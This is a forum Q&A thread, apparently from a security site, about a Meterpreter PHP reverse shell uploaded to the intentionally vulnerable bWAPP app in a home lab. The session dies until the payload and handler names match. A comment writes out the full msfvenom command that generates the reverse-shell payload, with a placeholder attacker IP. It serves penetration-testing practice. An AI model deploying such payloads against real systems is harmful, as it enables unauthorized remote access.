I just set up a lab with bwapp and wanted to jump straight into webshell. I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom.

My only problem is that my session doesn't seem persistent as I'm getting Meterpreter session opened and then died.

For more context, bwapp is on a bridged network vbox and my kali is also bridged.

php/meterpreter_reverse_tcp etc etc.

Any ideas...

I need persistence (RCE)

  • 1
    Without wishing to sound like an arse, have you investigated the many links on Google that talk about this from a variety of sources? It could be any number of things varying from AV killing it, to bad exploit code. Could you add more contextual detail?
    – user53693
    Jul 29, 2020 at 9:58
  • Yes I have gone through quite a bit of searching. I created a raw shell using msfvenom -p php/meterpreter_reverse_tcp LHOST=<My local IP> LPORT=<4444t> -f raw > shelly.php I managed to upload the shell, launch multi/handler with LHOST on 4444 and then my session was created on path ("IP")/bwapp/upload/images/shelly.php but died as soon as the path resolved... it was almost immediate.
    – hx.m4v
    Jul 29, 2020 at 12:57

1 Answer 1


I Found the issue here.

I was using msfvenom payload @ php/meterpreter_reverse_tcp but my handler was php/meterpreter/reverse_tcp when I changed it to match (php/meterpreter_reverse_tcp) exactly then my session was established.

  • 1
    Good work! Thanks for adding a solution too.
    – user53693
    Jul 29, 2020 at 15:52

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .